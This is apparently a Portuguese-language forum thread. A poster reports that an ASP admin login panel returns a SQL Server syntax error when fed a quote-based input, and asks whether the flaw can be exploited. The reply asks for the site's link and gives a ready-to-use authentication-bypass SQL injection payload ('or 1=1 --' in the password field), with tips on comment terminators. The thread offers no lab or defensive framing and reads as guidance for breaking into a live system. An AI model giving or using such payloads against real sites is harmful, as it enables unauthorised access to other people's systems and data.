duvida - sql

[oliveiravictorr]

tenho um painel administrativo que  quando coloco qualquer senha ele me da o erro de usuario e senha normal, mais quando uso 'or'1 no usuario e senha ele me da o erro

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'and'.

/site/pt/admin/login-process.asp, line 16

tem como explorar essa falha?

[Caleb]

Ei sangue bom...


se tive como posta o link..

ou tenta colocar no usuario qualquer coisa.
e em senha fazer assim or 1=1 --

user : 12345
senha: or 1=1 --

você pode tentar usar ou o " -- " ou um " null " um comentario depois do or pode ajudar você.